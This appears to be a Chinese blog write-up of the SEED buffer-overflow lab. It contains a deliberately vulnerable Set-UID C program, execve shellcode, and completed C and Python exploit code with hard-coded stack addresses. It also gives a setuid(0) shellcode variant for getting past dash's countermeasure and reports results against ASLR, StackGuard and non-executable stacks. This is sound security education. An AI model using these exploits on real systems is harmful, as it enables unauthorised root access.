Buffer-Overflow_Vulnerability_Lab
Buffer-Overflow_Vulnerability_Lab
- 注:经过听说和实践,Seed_Ubuntu20.04在做这个实验时bug较多,故选用了SeedUbuntu16.04的实验版本(结果也有小问题)。
1. 概述
- 本实验的学习目标是让学生通过将他们在课堂上学到的关于缓冲区溢出漏洞的知识付诸实践,获得有关缓冲区溢出漏洞的第一手经验。 缓冲区溢出被定义为程序试图将数据写入超出预先分配的固定长度缓冲区边界的情况。 该漏洞可被恶意用户用来改变程序的流量控制,导致恶意代码的执行。
- 在本实验中,学生将获得一个具有缓冲区溢出漏洞的程序; 他们的任务是开发利用漏洞的方案,最终获得root权限。 除了攻击之外,还将引导学生了解操作系统中实施的几种保护方案,以应对缓冲区溢出攻击。 学生需要评估这些计划是否有效并解释原因。 本实验涵盖以下主题:
- 缓冲区溢出漏洞和攻击
- 函数调用中的堆栈布局
- 解决随机化、非可执行堆栈和
StackGuard
- Shellcode。我们有一个独立的实验,专门研究如何从头开始编写shellcode。
return-to-libc
攻击,其目的是击败非可执行堆栈对策,包括在一个单独的实验中。
- 不同的值可以使解决方案不同。本次实验的BUF_SIZE是24。
实验环境
- SEED_Ubuntu 16.04虚拟机
2. 实验任务
2.1 关闭对策
- Ubuntu和其他Linux发行版已经实现了一些安全机制,使缓冲区溢出攻击变得困难。为了简化我们的攻击,我们需要先摧毁他们。稍后,我们将逐个启用它们,看看我们的攻击是否还能成功。
地址空间随机化
- Ubuntu和其他几个基于Linux的系统使用地址空间随机化来随机化堆和堆栈的起始地址。这使得猜测确切地址变得困难;猜测地址是缓冲区溢出攻击的关键步骤之一。在本实验室中,我们使用以下命令禁用此功能:
1 |
|
实验操作
StackGuard保护方案
-
GCC编译器实现了一种称为
StackGuard
的安全机制,以防止缓冲区溢出。在存在这种保护的情况下,缓冲区溢出攻击将不起作用。 -
我们可以在编译期间使用
-fno-stack-protector
选项禁用此保护。例如,要编译一个禁用StackGuard
的程序example.c
,我们可以做以下操作:1
$ gcc -fno-stack-protector example.c
Non-Executable Stack
-
Ubuntu过去允许可执行堆栈,但现在已经改变了:程序(和共享库)的二进制映像必须声明它们是否需要可执行堆栈,也就是说,它们需要在程序头中标记一个字段。内核或动态连接器使用此标记来决定是否使运行中的程序的堆栈为可执行的或不可执行的。这个标记是由gcc的最新版本自动完成的,默认情况下,堆栈被设置为不可执行的。
-
要改变这种情况,请在编译程序时使用以下选项:
1
2
3
4For executable stack:
$ gcc -z execstack -o test test.c
For non-executable stack:
$ gcc -z noexecstack -o test test.c
配置/bin/sh(仅适用于Ubuntu 16.04虚拟机)
-
在Ubuntu 12.04和Ubuntu 16.04虚拟机中,
/bin/sh
符号链接指向/bin/dash
shell。然而,这两个虚拟机中的dash程序有一个重要的区别。 -
Ubuntu 16.04中的
dash
shell有一个对策,防止它在Set-UID进程中被执行。基本上,如果dash
检测到它是在Set-UID进程中执行的,它会立即将有效用户ID更改为进程的真实用户ID,本质上是删除特权。Ubuntu 12.04中的dash
程序没有这种行为。 -
由于我们的受害者程序是一个Set-UID程序,并且我们的攻击依赖于运行
/bin/sh
,/bin/dash
中的对策使我们的攻击更加困难。 -
因此,我们将把
/bin/sh
链接到另一个没有这种对策的shell(在后面的任务中,我们将说明,只要多做一点努力,/bin/dash
中的对策就可以很容易地被击败)。 -
我们在Ubuntu 16.04虚拟机中安装了一个名为
zsh
的shell程序。我们使用以下命令将/bin/sh
链接到zsh
(在Ubuntu 12.04中不需要这样做):1
$ sudo ln -sf /bin/zsh /bin/sh
实验操作
2.2 任务1:运行Shellcode
-
在开始攻击之前,让我们先熟悉一下
shellcode
。shellcode
是启动shell的代码。它必须被加载到内存中这样我们才能迫使易受攻击的程序跳转到内存中。 -
考虑以下程序:
1
2
3
4
5
6
7#include <stdio.h>
int main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
} -
我们使用的shellcode只是上面程序的汇编版本。
-
下面的程序演示了如何通过执行存储在缓冲区中的shellcode来启动shell。
-
请编译并运行以下代码,看看是否调用了shell。你可以从网站上下载这个程序。如果您对编写自己的shellcode感兴趣,我们有一个单独的SEED实验。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27/* call_shellcode.c */
/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char code[] =
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}- 使用下面的
gcc
命令编译上面的代码。运行程序并描述您的观察结果。请不要忘记使用execstack
选项,它允许从堆栈执行代码;如果没有这个选项,程序将会失败。
- 使用下面的
实验过程
-
上面的
shellcode
调用execve()
系统调用来执行/bin/sh
。在这个shellcode
中有几个地方值得一提。 -
首先,第三条指令将"
//sh
“而不是”/sh
“推入堆栈。这是因为我们需要一个32位的数字,而“/sh”只有24位。幸运的是,” // “等价于” / ",所以我们可以使用双斜杠符号。 -
其次,在调用
execve()
系统调用之前,我们需要将name[0]
(字符串的地址)、name
(数组的地址)和NULL分别存储到%ebx
、%ecx
和%edx
寄存器中。第5行存储name[0]
到%ebx
;第8行存储name
到%ecx
;第9行设置%edx
为零。 -
还有其他方法设置
%edx
为零(例如,xorl %edx,%edx
);这里使用的(cdq
)只是一条更短的指令:它将EAX
寄存器(此时为0)中的值的符号(第31位)复制到EDX寄存器的每个位的位置,基本上将%edx
设置为0。 -
第三,当我们将
%al
设置为11,并执行“int $0x80
”时,系统调用execve()
。
2.3 易受攻击的程序
-
将向您提供以下程序,该程序第①行中存在缓冲区溢出漏洞。您的任务是利用此漏洞并获得根权限。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40/* Vunlerable program: stack.c */
/* You can get this program from the lab's website */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won't be able to use the solutions from the past.
* Suggested value: between 0 and 400 */
#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif
int bof(char *str)
{
char buffer[BUF_SIZE];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
/* Change the size of the dummy array to randomize the parameters
for this lab. Need to use the array at least once */
char dummy[BUF_SIZE]; memset(dummy, 0, BUF_SIZE);
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}- 上述程序存在缓冲区溢出漏洞。它首先从名为
badfile
的文件中读取输入,然后将该输入传递到函数bof()
中的另一个缓冲区。原始输入的最大长度可以是517字节,但bof()
中的缓冲区长度仅为BUF_SIZE
字节,小于517字节。因为strcpy()
不检查边界,所以会发生缓冲区溢出。由于此程序是root
所有的Set-UID
程序,如果普通用户可以利用此缓冲区溢出漏洞进行攻击,则用户可能能够获得root shell
。应该注意的是,程序从一个名为badfile
的文件获取输入。此文件由用户控制。现在,我们的目标是为badfile
创建内容,这样当易受攻击的程序将内容复制到其缓冲区时,就可以生成一个root shell
。
- 上述程序存在缓冲区溢出漏洞。它首先从名为
编译过程
- 要编译上述易受攻击的程序,不要忘记使用
-fno-stack-protector
和-z execstack
选项关闭StackGuard
和非可执行堆栈保护。 - 编译之后,我们需要使程序成为根拥有的Set-UID程序。我们可以通过首先将程序的所有权更改为root(行①),然后将权限更改为4755以启用Set-UID位(行②)来实现这一点。需要注意的是,所有权的变更必须在开启Set-UID位之前完成,因为所有权的变更会导致Set-UID位被关闭。
1 |
|
2.4 任务2:利用漏洞
- 我们为您提供一个部分完成的exploit代码,称为
exploit.c
。这段代码的目的是为badfile
构造内容。在这个代码中,shellcode是给你的。你需要开发剩下的部分。
1 |
|
- 完成上述程序后,编译并运行它。这将生成
badfile
的内容。然后运行易受攻击的程序堆栈。如果你的漏洞实现正确,你应该能够得到一个root shell
: - 重要提示:请先编译您的易受攻击的程序。请注意,可以在启用默认
StackGuard
保护的情况下编译生成badfile
的exploit.c
程序。这是因为我们不会使程序中的缓冲区溢出。我们将溢出stack.c
中的缓冲区,这是在禁用了StackGuard
保护的情况下编译的。
实验过程
-
修改
stack.c
,使BUF_SIZE
为24。 -
关闭保护机制后,使用
-g
选项编译stack.c
,进行gdb
调试。
-
得到调用
bof()
后ebp
的地址为0xbfffeb08
,buffer
首地址为0xbfffeae8
。 -
经过测试,若新的返回地址不是恶意代码的起始地址,(可能因为nop)在执行时产生段错误!(在gdb中可以正常运行)
-
将以下部分用以补全
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12int len=strlen(shellcode);
for(int i=0;i<len;i++)
{
buffer[517-len+i]=shellcode[i];
}
//计算返回地址
int ret=0xbfffeae8+517-len;
//修改返回地址(小端法)
buffer[0xbfffeb08-0xbfffeae8+4]=ret&0xff;
buffer[0xbfffeb08-0xbfffeae8+5]=(ret>>8)&0xff;
buffer[0xbfffeb08-0xbfffeae8+6]=(ret>>16)&0xff;
buffer[0xbfffeb08-0xbfffeae8+7]=(ret>>24)&0xff; -
编译
stack.c
和exploit.c
,将stack
设置为Set-UID程序。运行可执行程序: -
用python生成badfile:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35#!/usr/bin/python3
import sys
shellcode= (
"\x31\xc0" # xorl %eax,%eax
"\x50" # pushl %eax
"\x68""//sh" # pushl $0x68732f2f
"\x68""/bin" # pushl $0x6e69622f
"\x89\xe3" # movl %esp,%ebx
"\x50" # pushl %eax
"\x53" # pushl %ebx
"\x89\xe1" # movl %esp,%ecx
"\x99" # cdq
"\xb0\x0b" # movb $0x0b,%al
"\xcd\x80" # int $0x80
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode
##################################################################
ret = 0xbfffeae8+517-len(shellcode) # replace 0xAABBCCDD with the correct value
offset = 0x24 # replace 0 with the correct value
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
2.5 任务3:击败dash的对策
- 正如我们之前解释过的,当Ubuntu 16.04中的
dash shell
检测到有效的UID不等于真正的UID时,它会删除权限。 - 这可以从dash程序的更新日志中观察到。我们可以在Line①中看到一个额外的检查,它比较真实和有效的用户/组id。
1 |
|
-
在
dash
中实施的对策是可以被击败的。一种方法是不在shellcode中调用/bin/sh
;相反,我们可以调用另一个shell程序。这种方法需要在系统中出现另一个shell程序,例如zsh
。 -
另一种方法是在调用
dash
程序之前将受害进程的实际用户ID更改为零。我们可以通过在shellcode
中执行execve()
之前调用setuid(0)
来实现这一点。在本任务中,我们将使用这种方法。我们将首先更改/bin/sh
符号链接,使其指向/bin/dash
:1
$ sudo ln -sf /bin/dash /bin/sh
实验操作
- 为了了解dash中的对策是如何工作的,以及如何使用系统调用
setuid(0)
来击败它,我们编写了下面的C程序。 - 我们首先注释掉①行,并以Set-UID程序的形式运行该程序(所有者应该是root);请描述一下你的观察。
- 然后取消对行①的注释,再次运行程序;请描述一下你的观察。
1 |
|
-
上面的程序可以使用以下命令编译和设置(我们需要使它成为root拥有的set -uid程序):
1
2
3$ gcc dash_shell_test.c -o dash_shell_test
$ sudo chown root dash_shell_test
$ sudo chmod 4755 dash_shell_test -
从上面的实验中,我们可以看到
seuid(0)
是有区别的。在调用execve()
之前,让我们在shellcode的开头添加用于调用此系统调用的程序集代码。
1 |
|
-
更新后的shellcode增加了4条指令:
-
(1)在第2行设置
ebx
为零, -
(2)通过第1行和第3行设置
eax
为0xd5 (0xd5是setuid()
的系统调用号) -
(3)在第4行执行系统调用。
-
-
使用这个shellcode,当
/bin/sh
链接到/bin/dash
时,我们可以尝试对脆弱的程序进行攻击。 -
使用上面的shellcode修改
exploit.c
或exploit.py
;再次尝试从Task 2进行攻击,看看能否获得root shell
。 -
请描述和解释你的结果。
实验过程
-
注释①的
dash_shell_test
:shell以$开头,uid=1000。 -
没有注释①的
dash_shell_test
:shell以#开头,uid=0。 -
使用上面的shellcode修改
exploit.c
,攻击如下:结果与任务2一致。
2.6 任务4:击败地址随机化
- 在32位Linux机器上,堆栈只有19位熵,这意味着堆栈基地址可以是种的可能性。
- 这个数字并没有那么高,并且可以很容易地用蛮力方法耗尽。
- 在这个任务中,我们使用这种方法来击败32位VM上的地址随机化对策。
- 首先,我们使用下面的命令打开Ubuntu的地址随机化。我们运行Task 2中开发的相同攻击。请描述和解释你的观察。
1 |
|
实验过程1
-
- 提示Segmentation fault,攻击失败。
-
然后我们使用蛮力方法反复攻击脆弱的程序,希望我们放入坏文件中的地址最终是正确的。
-
您可以使用下面的shell脚本在无限循环中运行易受攻击的程序。
-
如果攻击成功,脚本将停止;否则,它将继续运行。
-
请耐心点,因为这可能需要一段时间。如果需要的话,让它运行一夜。
-
请描述一下你的观察。
实验过程2
-
脚本
attack.sh
如下: -
运行结果:
2.7 任务5:打开StackGuard保护
-
在完成这个任务之前,请记住首先关闭地址随机化,否则您将不知道哪个保护有助于实现保护。在之前的任务中,我们在编译程序时禁用了
GCC
中的StackGuard
保护机制。 -
在这个任务中,您可以考虑在
StackGuard
存在的情况下重复任务2。要做到这一点,您应该在没有-fno-stack-protector
选项的情况下编译程序。 -
对于这个任务,您将重新编译易受攻击的程序
stack.c
,去使用GCC StackGuard
,再次执行任务2,并报告您的观察结果。您可以报告观察到的任何错误消息。(在GCC 4.3.3及以上版本中,StackGuard默认是启用的。因此,您必须使用前面提到的开关禁用StackGuard。在早期的版本中,默认情况下是禁用的。如果您使用较老的GCC版本,您可能不需要禁用StackGuard。)
实验过程
- 检测到栈崩溃。夭折。
2.8 任务6:打开非可执行堆栈保护
- 在完成这个任务之前,请记住首先关闭地址随机化,否则您将不知道哪个保护有助于实现保护。
- 在前面的任务中,我们故意使堆栈可执行。在这个任务中,我们使用noexecstack选项重新编译脆弱的程序,并在任务2中重复攻击。你能得到一个shell吗?如果没有,是什么问题?这个保护方案如何使您的攻击变得困难?你应该在你的实验报告中描述你的观察和解释。
- 您可以使用以下说明来打开非可执行堆栈保护。
1 |
|
- 需要注意的是,非可执行堆栈只会使在堆栈上运行shellcode变得不可能,但它并不能防止缓冲区溢出攻击,因为在利用缓冲区溢出漏洞之后,还有其他方法可以运行恶意代码。
return-to-libc
就是一个例子。我们为这次袭击设计了一个单独的实验。如果您感兴趣,请参阅我们的return-to-libc
实验的详细信息。 - 如果你正在使用我们的Ubuntu 12.04/16.04虚拟机,这个非执行堆栈保护是否有效取决于CPU和你的虚拟机设置,因为这个保护取决于CPU提供的硬件特性。
- 如果您发现非可执行堆栈保护不起作用,请查看我们链接到实验室网页的文档(“non-executable stack Notes”),看看文档中的说明是否可以帮助您解决问题。如果没有,那么你可能需要自己解决问题。
实验过程
- 提示Segmentation fault,攻击失败。
本博客所有文章除特别声明外,均为博客作者本人编写整理,转载请联系作者!